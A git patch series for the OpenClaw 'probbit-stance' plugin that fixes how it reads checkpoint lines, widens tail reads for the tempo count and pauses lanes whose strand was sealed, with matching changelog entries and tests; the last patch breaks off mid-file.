From 75f95fe6bf73af5394484924290752ea33200fcf Mon Sep 17 00:00:00 2001 From: BitmapAsset Date: Thu, 12 Nov 2026 21:22:18 -0800 Subject: [PATCH 1/6] fix(openclaw): accept a checkpoint line as the strand's last line --- CHANGELOG.md | 9 ++++ docs/adapters.md | 2 +- plugins/openclaw/src/probbit.ts | 39 ++++++++++---- plugins/openclaw/test/strand.test.ts | 76 ++++++++++++++++++++++++++++ 4 files changed, 114 insertions(+), 12 deletions(-) create mode 100644 plugins/openclaw/test/strand.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 1fe2898..d39cd65 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,6 +30,15 @@ All notable changes to this project are documented here. The format follows - The README distinguishes enforced stance habits from model obedience, limits replay claims to measured checks, and links to the changelog for release notes. Install and quickstart paths stay in place. +### Fixed + +- OpenClaw plugin: the turn on which the engine appends a checkpoint line (every 1,000th event, the engine's default) + got no stance; the plugin logged `no stance this turn (strand unreadable after the event)` because it accepted only an + event line or the header as the strand's last line. The engine had recorded the event, so the strand and its `verify` + were never affected. The plugin now reads a checkpoint line's event count, and when the last line is longer than its + 64 KiB read (a checkpoint carries the whole state) it widens the read up to 16 MiB instead of reporting event 0. A cut + last line is still reported as unreadable. + ## 0.14.1 - Unreleased ### Fixed diff --git a/docs/adapters.md b/docs/adapters.md index 8586ac2..c6e5ac0 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 153 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 159 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/src/probbit.ts b/plugins/openclaw/src/probbit.ts index 448b32f..547cbbb 100644 --- a/plugins/openclaw/src/probbit.ts +++ b/plugins/openclaw/src/probbit.ts @@ -117,21 +117,38 @@ export function readTail(path: string, maxBytes: number): string { } } -/** Event number of the strand's last line (`n`); 0 when only the header exists. */ +/** The most `lastStrandEventNumber` reads: a last line longer than this is not read (undefined). */ +export const STRAND_TAIL_MAX = 16 * 1024 * 1024; + +/** + * Event count at the strand's last line: an event line's `n`, a checkpoint line's `checkpoint` (written after every K-th + * event, persona.md §5.7), 0 for the header alone; undefined for anything else (a torn write). The window starts at + * 64 KiB and widens until it holds the last line's start (a checkpoint carries the whole state and can be longer). + */ export function lastStrandEventNumber(strandPath: string): number | undefined { - const tail = readTail(strandPath, 64 * 1024); - const lines = tail.split("\n").filter((l) => l.trim()); - const last = lines[lines.length - 1]; - if (!last) return undefined; + let size: number; try { - const obj = JSON.parse(last) as { n?: unknown; probbit_strand?: unknown }; - if (typeof obj.n === "number") return obj.n; - if (obj.probbit_strand !== undefined) return 0; + size = statSync(strandPath).size; } catch { - // a header longer than the tail window: the first line is cut, so the strand has no events yet - if (lines.length === 1) return 0; + return undefined; + } + for (let window = 64 * 1024; ; window *= 4) { + const lines = readTail(strandPath, window).split("\n").filter((l) => l.trim()); + const last = lines[lines.length - 1]; + if (!last) return undefined; + if (lines.length > 1 || window >= size) { + try { + const obj = JSON.parse(last) as { n?: unknown; checkpoint?: unknown; probbit_strand?: unknown }; + if (typeof obj.n === "number") return obj.n; + if (typeof obj.checkpoint === "number") return obj.checkpoint; + if (obj.probbit_strand !== undefined) return 0; + } catch { + // a torn last line + } + return undefined; + } + if (window >= STRAND_TAIL_MAX) return undefined; } - return undefined; } /** A sense reading with its own source (docs/persona.md §2.11: `{v, src}`). */ diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts new file mode 100644 index 0000000..f81766b --- /dev/null +++ b/plugins/openclaw/test/strand.test.ts @@ -0,0 +1,76 @@ +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { test } from "node:test"; +import { registerStance } from "../src/index.js"; +import { lastStrandEventNumber } from "../src/probbit.js"; +import { cliEvent, createHost, GROUP_KEY, groupCtx, PERSONA_SRC, PROBBIT, tempStateDir } from "./host.js"; + +const LANE = "team-room"; +const HEADER = '{"probbit_strand":1,"persona":{"name":"Assistant","version":"1.0.0"},"state":{"seed":42}}'; +const event = (n: number) => `{"inputs":{"elapsed_hours":0.5},"n":${n},"prev":"sha256:${"a".repeat(64)}","stance":"sha256:${"b".repeat(64)}"}`; +/** A checkpoint line padded to about `bytes` (a real one grows with the state and the expectation's memory). */ +const checkpoint = (n: number, bytes = 0) => + `{"checkpoint":${n},"prev":"sha256:${"c".repeat(64)}","stance":{"line":"Stance: steady."},"state":{"pad":"${"x".repeat(bytes)}"}}`; + +function strandFile(text: string): string { + const path = join(tempStateDir(), "lane.strand"); + writeFileSync(path, text); + return path; +} + +test("strand tail: an event line last -> its n; the header alone -> 0", () => { + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n${event(2)}\n`)), 2); + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n`)), 0); +}); + +test("strand tail: a checkpoint line last -> its checkpoint number (the event count)", () => { + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(999)}\n${event(1000)}\n${checkpoint(1000)}\n`)), 1000); +}); + +test("strand tail: a header longer than 64 KiB and nothing else -> 0", () => { + const big = `{"probbit_strand":1,"persona":{"name":"Assistant"},"state":{"pad":"${"h".repeat(200 * 1024)}"}}`; + assert.equal(lastStrandEventNumber(strandFile(`${big}\n`)), 0); +}); + +test("strand tail: events, then a checkpoint line longer than 64 KiB -> its checkpoint number, not 0", () => { + const lines = [HEADER, ...Array.from({ length: 50 }, (_, i) => event(i + 1)), checkpoint(50, 300 * 1024)]; + assert.equal(lastStrandEventNumber(strandFile(`${lines.join("\n")}\n`)), 50); + // and with an event after it the short last line is read from the first window as before + assert.equal(lastStrandEventNumber(strandFile(`${[...lines, event(51)].join("\n")}\n`)), 51); +}); + +test("strand tail: a torn last line, an empty file or no file -> undefined", () => { + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n{"inputs":{"elapsed_hours":0.5},"n":2,"pr`)), undefined); + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${checkpoint(3, 100 * 1024).slice(0, 90 * 1024)}`)), undefined); + assert.equal(lastStrandEventNumber(strandFile("")), undefined); + assert.equal(lastStrandEventNumber(join(tempStateDir(), "missing.strand")), undefined); +}); + +test("hook: the event that writes a checkpoint (the 1,000th) still gets its stance, and the next event works", async () => { + const dir = tempStateDir(); + for (const d of ["state", "strands", "last", "log"]) mkdirSync(join(dir, d), { recursive: true }); + const state = join(dir, "state", `${LANE}.json`); + const strand = join(dir, "strands", `${LANE}.strand`); + // 999 events written by the engine itself, in one call; the hook's event is then the 1,000th, where the engine's + // default (`--checkpoint-every 1000`) appends a checkpoint line after the event line. + const events = join(dir, "events.jsonl"); + writeFileSync(events, '{"elapsed_hours":0.5}\n'.repeat(999)); + execFileSync(PROBBIT, ["persona", "init", PERSONA_SRC, "--seed", "42", "--out", state], { stdio: "ignore" }); + execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", state, "--strand", strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); + const host = createHost({ lanes: { [GROUP_KEY]: LANE }, stateDir: dir, binary: PROBBIT }); + registerStance(host.api); + + const first = await host.promptBuild(cliEvent("thanks"), groupCtx("cp-1")); + assert.match((first.result as { appendContext?: string } | undefined)?.appendContext ?? "", /^## Assistant stance \(probbit, event 1000\)/, JSON.stringify(host.logs)); + const tail = readFileSync(strand, "utf8").trimEnd().split("\n"); + assert.equal((JSON.parse(tail[tail.length - 1]!) as { checkpoint?: number }).checkpoint, 1000, "the strand ends on the checkpoint line"); + assert.equal((JSON.parse(tail[tail.length - 2]!) as { n?: number }).n, 1000); + + const second = await host.promptBuild(cliEvent("no, that's wrong"), groupCtx("cp-2")); + assert.match((second.result as { appendContext?: string } | undefined)?.appendContext ?? "", /^## Assistant stance \(probbit, event 1001\)/); + assert.equal(host.logs.some((l) => l.message.includes("strand unreadable")), false); + const ns = readFileSync(join(dir, "log", `${LANE}.jsonl`), "utf8").trim().split("\n").map((l) => (JSON.parse(l.split("\t")[3]!) as { n: number }).n); + assert.deepEqual(ns, [1000, 1001]); +}); From 3468b1fdc895f302cad717536efcecaaf1e7b238 Mon Sep 17 00:00:00 2001 From: BitmapAsset Date: Thu, 12 Nov 2026 21:49:00 -0800 Subject: [PATCH 2/6] fix(openclaw): count tempo across a checkpoint line longer than the read window --- CHANGELOG.md | 3 +++ docs/adapters.md | 2 +- plugins/openclaw/src/senses.ts | 28 +++++++++++++++++++++++++--- plugins/openclaw/test/strand.test.ts | 8 ++++++++ 4 files changed, 37 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d39cd65..5c07c1d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -38,6 +38,9 @@ All notable changes to this project are documented here. The format follows were never affected. The plugin now reads a checkpoint line's event count, and when the last line is longer than its 64 KiB read (a checkpoint carries the whole state) it widens the read up to 16 MiB instead of reporting event 0. A cut last line is still reported as unreadable. +- OpenClaw plugin, `sensesMode` shadow or feed: after a checkpoint line longer than 512 KiB the `tempo` reading counted + only the current event (1), because the cut checkpoint hid every event before it from the plugin's read. The read now + widens (up to 16 MiB) until it holds 1,000 events, an hour of gaps or the whole file. ## 0.14.1 - Unreleased diff --git a/docs/adapters.md b/docs/adapters.md index c6e5ac0..4189d20 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 159 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 160 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/src/senses.ts b/plugins/openclaw/src/senses.ts index 1d922dd..2d2f85b 100644 --- a/plugins/openclaw/src/senses.ts +++ b/plugins/openclaw/src/senses.ts @@ -1,5 +1,5 @@ import { appendFileSync, readFileSync, statSync } from "node:fs"; -import { readTail } from "./probbit.js"; +import { readTail, STRAND_TAIL_MAX } from "./probbit.js"; /** The source label the plugin puts on every reading it sends (docs/persona.md §2.11, rule S2: the kind must be in `src`). */ export const READING_SRC = "env:probbit-stance"; @@ -110,10 +110,32 @@ export function tempoFromGaps(elapsedHours: number[]): number { return count; } -/** `inputs.elapsed_hours` of the strand's events, oldest first, from the last 512 KiB (about 1000 events). */ +/** + * `inputs.elapsed_hours` of the strand's events, oldest first, from the last 512 KiB (about 1000 events). A large + * checkpoint line can take most of that window; then the read widens (x4, up to 16 MiB) until it holds 1,000 events, + * an hour of gaps, or the whole file, so the events before the checkpoint still count. + */ export function strandGaps(strandPath: string): number[] { + let size = 0; + try { + size = statSync(strandPath).size; + } catch { + return []; + } + for (let window = 512 * 1024; ; window = Math.min(window * 4, STRAND_TAIL_MAX)) { + const gaps = gapsIn(readTail(strandPath, window)); + if (enough(gaps) || window >= size || window >= STRAND_TAIL_MAX) return gaps; + } +} + +/** 1,000 events, or more than an hour of gaps: enough history for the tempo rule. */ +function enough(gaps: number[]): boolean { + return gaps.length >= 1_000 || gaps.reduce((s, h) => s + microHours(h), 0) > WINDOW_MICRO_HOURS; +} + +function gapsIn(tail: string): number[] { const gaps: number[] = []; - for (const line of readTail(strandPath, 512 * 1024).split("\n")) { + for (const line of tail.split("\n")) { if (!line.startsWith('{"')) continue; try { const obj = JSON.parse(line) as { n?: unknown; inputs?: { elapsed_hours?: unknown } }; diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts index f81766b..779196b 100644 --- a/plugins/openclaw/test/strand.test.ts +++ b/plugins/openclaw/test/strand.test.ts @@ -5,6 +5,7 @@ import { join } from "node:path"; import { test } from "node:test"; import { registerStance } from "../src/index.js"; import { lastStrandEventNumber } from "../src/probbit.js"; +import { tempoNow } from "../src/senses.js"; import { cliEvent, createHost, GROUP_KEY, groupCtx, PERSONA_SRC, PROBBIT, tempStateDir } from "./host.js"; const LANE = "team-room"; @@ -41,6 +42,13 @@ test("strand tail: events, then a checkpoint line longer than 64 KiB -> its chec assert.equal(lastStrandEventNumber(strandFile(`${[...lines, event(51)].join("\n")}\n`)), 51); }); +test("tempo: a checkpoint line longer than the 512 KiB read does not hide the events before it", () => { + const quick = (n: number) => `{"inputs":{"elapsed_hours":0.05},"n":${n},"prev":"sha256:${"a".repeat(64)}"}`; + const lines = [HEADER, ...Array.from({ length: 10 }, (_, i) => quick(i + 1)), checkpoint(10, 600 * 1024)]; + // ten events 3 minutes apart, then the checkpoint, then this event 3 minutes later: all eleven within the hour + assert.equal(tempoNow(strandFile(`${lines.join("\n")}\n`), 0.05), 11); +}); + test("strand tail: a torn last line, an empty file or no file -> undefined", () => { assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n{"inputs":{"elapsed_hours":0.5},"n":2,"pr`)), undefined); assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${checkpoint(3, 100 * 1024).slice(0, 90 * 1024)}`)), undefined); From 49d728323c6e264527b89ec11a0a0cb84728d9b8 Mon Sep 17 00:00:00 2001 From: BitmapAsset Date: Thu, 12 Nov 2026 22:51:49 -0800 Subject: [PATCH 3/6] fix(openclaw): count every event of the last hour in tempo, with no event-count cutoff --- CHANGELOG.md | 3 ++- docs/adapters.md | 2 +- plugins/openclaw/src/senses.ts | 15 ++++++++------- plugins/openclaw/test/strand.test.ts | 9 +++++++++ 4 files changed, 20 insertions(+), 9 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c07c1d..e8c8a32 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -40,7 +40,8 @@ All notable changes to this project are documented here. The format follows last line is still reported as unreadable. - OpenClaw plugin, `sensesMode` shadow or feed: after a checkpoint line longer than 512 KiB the `tempo` reading counted only the current event (1), because the cut checkpoint hid every event before it from the plugin's read. The read now - widens (up to 16 MiB) until it holds 1,000 events, an hour of gaps or the whole file. + is repeated with a larger window (2, 8, then 16 MiB) until it holds more than an hour of gaps or the whole file; the + largest window is 16 MiB. ## 0.14.1 - Unreleased diff --git a/docs/adapters.md b/docs/adapters.md index 4189d20..d8dabf6 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 160 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 161 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/src/senses.ts b/plugins/openclaw/src/senses.ts index 2d2f85b..d665ca6 100644 --- a/plugins/openclaw/src/senses.ts +++ b/plugins/openclaw/src/senses.ts @@ -111,9 +111,10 @@ export function tempoFromGaps(elapsedHours: number[]): number { } /** - * `inputs.elapsed_hours` of the strand's events, oldest first, from the last 512 KiB (about 1000 events). A large - * checkpoint line can take most of that window; then the read widens (x4, up to 16 MiB) until it holds 1,000 events, - * an hour of gaps, or the whole file, so the events before the checkpoint still count. + * `inputs.elapsed_hours` of the strand's events, oldest first, from the file's last 512 KiB. A large checkpoint line + * can take most of that window; then the tail is read again with a larger window (2, 8, then 16 MiB) until it holds + * more than an hour of gaps or the whole file, so the events before the checkpoint still count. The largest window is + * 16 MiB; with the re-reads a turn reads at most 0.5 + 2 + 8 + 16 = 26.5 MiB. */ export function strandGaps(strandPath: string): number[] { let size = 0; @@ -124,13 +125,13 @@ export function strandGaps(strandPath: string): number[] { } for (let window = 512 * 1024; ; window = Math.min(window * 4, STRAND_TAIL_MAX)) { const gaps = gapsIn(readTail(strandPath, window)); - if (enough(gaps) || window >= size || window >= STRAND_TAIL_MAX) return gaps; + if (coversHour(gaps) || window >= size || window >= STRAND_TAIL_MAX) return gaps; } } -/** 1,000 events, or more than an hour of gaps: enough history for the tempo rule. */ -function enough(gaps: number[]): boolean { - return gaps.length >= 1_000 || gaps.reduce((s, h) => s + microHours(h), 0) > WINDOW_MICRO_HOURS; +/** More than an hour of gaps: every earlier event is outside the tempo window. */ +function coversHour(gaps: number[]): boolean { + return gaps.reduce((s, h) => s + microHours(h), 0) > WINDOW_MICRO_HOURS; } function gapsIn(tail: string): number[] { diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts index 779196b..31ebe3d 100644 --- a/plugins/openclaw/test/strand.test.ts +++ b/plugins/openclaw/test/strand.test.ts @@ -49,6 +49,15 @@ test("tempo: a checkpoint line longer than the 512 KiB read does not hide the ev assert.equal(tempoNow(strandFile(`${lines.join("\n")}\n`), 0.05), 11); }); +test("tempo: no event-count cutoff; 3,000 events inside the hour all count", () => { + const d = (c: string) => `sha256:${c.repeat(64)}`; + const at = (n: number) => `{"inputs":{"elapsed_hours":0},"n":${n},"prev":"${d("a")}","stance":"${d("b")}","state":"${d("c")}"}`; + const text = `${[HEADER, ...Array.from({ length: 3000 }, (_, i) => at(i + 1))].join("\n")}\n`; + // about 260 bytes a line: the first 512 KiB window holds about 2,000 events, not all 3,000, so the read must widen + assert.ok(text.length > 512 * 1024 && text.length < 2 * 1024 * 1024, String(text.length)); + assert.equal(tempoNow(strandFile(text), 0), 3001); +}); + test("strand tail: a torn last line, an empty file or no file -> undefined", () => { assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n{"inputs":{"elapsed_hours":0.5},"n":2,"pr`)), undefined); assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${checkpoint(3, 100 * 1024).slice(0, 90 * 1024)}`)), undefined); From a3b2bf0a7bb5f54b826c58d2636676c62593f9a3 Mon Sep 17 00:00:00 2001 From: BitmapAsset Date: Thu, 12 Nov 2026 22:54:58 -0800 Subject: [PATCH 4/6] fix(openclaw): pause a lane whose strand was sealed into segments --- CHANGELOG.md | 5 +++ docs/adapters.md | 2 +- plugins/openclaw/README.md | 3 ++ plugins/openclaw/src/index.ts | 9 ++++ plugins/openclaw/src/probbit.ts | 23 ++++++++++- plugins/openclaw/test/strand.test.ts | 62 +++++++++++++++++++++++++++- 6 files changed, 99 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e8c8a32..dbd1b23 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -42,6 +42,11 @@ All notable changes to this project are documented here. The format follows only the current event (1), because the cut checkpoint hid every event before it from the plugin's read. The read now is repeated with a larger window (2, 8, then 16 MiB) until it holds more than an hour of gaps or the whole file; the largest window is 16 MiB. +- OpenClaw plugin on a sealed lane (after `probbit live control STRAND seal`, which continues the strand in + `NAME.0001.strand`): the plugin kept reading the first file. Before the checkpoint fix above every later turn got no + stance (`strand unreadable after the event`); with it alone every later turn would have shown the sealing line's + event number. Such a lane is now paused: the engine is not called, nothing is written, no stance is injected, and the + plugin logs once per lane that the strand was sealed into segments and that this version does not follow them. ## 0.14.1 - Unreleased diff --git a/docs/adapters.md b/docs/adapters.md index d8dabf6..b92634f 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 161 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 163 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/README.md b/plugins/openclaw/README.md index 7555f54..51e8c5d 100644 --- a/plugins/openclaw/README.md +++ b/plugins/openclaw/README.md @@ -255,6 +255,9 @@ left as is with one warning per lane. - `strands/.senses.jsonl` (`sensesMode` shadow or feed; since 0.2.0): one line per event with the readings the plugin measured, the source of each and what it fed. +A lane whose strand was sealed into segments with `probbit live control STRAND seal` is paused: the plugin injects no +stance and logs why (once per lane). Following segments is not implemented in this version. + ## Safety properties - Only the listed sessions are touched. Heartbeats, cron runs and inter-session messages never produce events. diff --git a/plugins/openclaw/src/index.ts b/plugins/openclaw/src/index.ts index d6b8b67..8b56ce0 100644 --- a/plugins/openclaw/src/index.ts +++ b/plugins/openclaw/src/index.ts @@ -168,6 +168,7 @@ export function registerStance(api: OpenClawPluginApi, deps: StanceDeps = {}): S hostVersion = undefined; } const warnedLabels = new Set(); + const warnedSealed = new Set(); // The persona's senses are read once here; the cache re-reads the file only when it changes. if (cfg.sensesMode !== "off") readDeclaredSenses(cfg.personaPath, sensesCache); @@ -343,6 +344,14 @@ export function registerStance(api: OpenClawPluginApi, deps: StanceDeps = {}): S const next = toolTally.get(lane) ?? { calls: 0, errors: 0 }; toolTally.set(lane, { calls: next.calls + tally.calls, errors: next.errors + tally.errors }); } + if (run.sealed) { + // Paused until the operator acts: one warning per lane, not one per turn. + if (!warnedSealed.has(lane)) { + warnedSealed.add(lane); + warn(`lane ${lane}: no stance this turn (${run.reason}; warned once per lane)`); + } + return undefined; + } if (!state.warned) { state.warned = true; warn(`lane ${lane}: no stance this turn (${run.reason})`); diff --git a/plugins/openclaw/src/probbit.ts b/plugins/openclaw/src/probbit.ts index 547cbbb..cb1c16c 100644 --- a/plugins/openclaw/src/probbit.ts +++ b/plugins/openclaw/src/probbit.ts @@ -1,6 +1,6 @@ import { spawn } from "node:child_process"; import { closeSync, existsSync, fstatSync, mkdirSync, openSync, readFileSync, readSync, rmSync, statSync, writeFileSync, appendFileSync } from "node:fs"; -import { join } from "node:path"; +import { basename, join } from "node:path"; /** The part of `probbit live`'s stance document this plugin reads (persona.md §4/§5.7). */ export type StanceDoc = { @@ -225,7 +225,15 @@ export function runBinary(binary: string, args: string[], input: string, killAft export type LiveRun = | { ok: true; doc: StanceDoc; n: number; eventLine: string; outLine: string; ms: number; labeled: boolean } - | { ok: false; reason: string; ms: number }; + | { ok: false; reason: string; ms: number; sealed?: true }; + +/** + * The name of a strand's first segment, as the engine names it (`strand::segment_name(base, 1)`): `NAME.0001.strand` for + * a path ending in `.strand`, else `PATH.0001`. It exists once the strand was sealed (`probbit live control STRAND seal`). + */ +export function firstSegmentName(strandPath: string): string { + return strandPath.endsWith(".strand") ? `${strandPath.slice(0, -".strand".length)}.0001.strand` : `${strandPath}.0001`; +} /** * One event through `probbit live PERSONA --state STATE --strand STRAND --clock fixed` (persona.md §5.7). @@ -246,6 +254,17 @@ export async function runLiveEvent(opts: { }): Promise { const t0 = Date.now(); const { paths } = opts; + // A sealed strand goes on in its newest segment; this version reads only the base file, so the lane is paused + // before anything runs or is written (docs/persona.md section 5.7, "Segments"). + const segment = firstSegmentName(paths.strand); + if (existsSync(segment)) { + return { + ok: false, + sealed: true, + reason: `the strand was sealed into segments (${basename(segment)} exists); this plugin version does not follow segments, so the lane is paused`, + ms: Date.now() - t0, + }; + } // Asked beside `persona init` too (cached per binary, so usually already settled at load). const check = opts.binaryCheck ? opts.binaryCheck().catch(() => undefined) : Promise.resolve(undefined); const hasState = existsSync(paths.state); diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts index 31ebe3d..568a7f2 100644 --- a/plugins/openclaw/test/strand.test.ts +++ b/plugins/openclaw/test/strand.test.ts @@ -1,10 +1,10 @@ import assert from "node:assert/strict"; import { execFileSync } from "node:child_process"; -import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { mkdirSync, readdirSync, readFileSync, statSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { test } from "node:test"; import { registerStance } from "../src/index.js"; -import { lastStrandEventNumber } from "../src/probbit.js"; +import { firstSegmentName, lastStrandEventNumber } from "../src/probbit.js"; import { 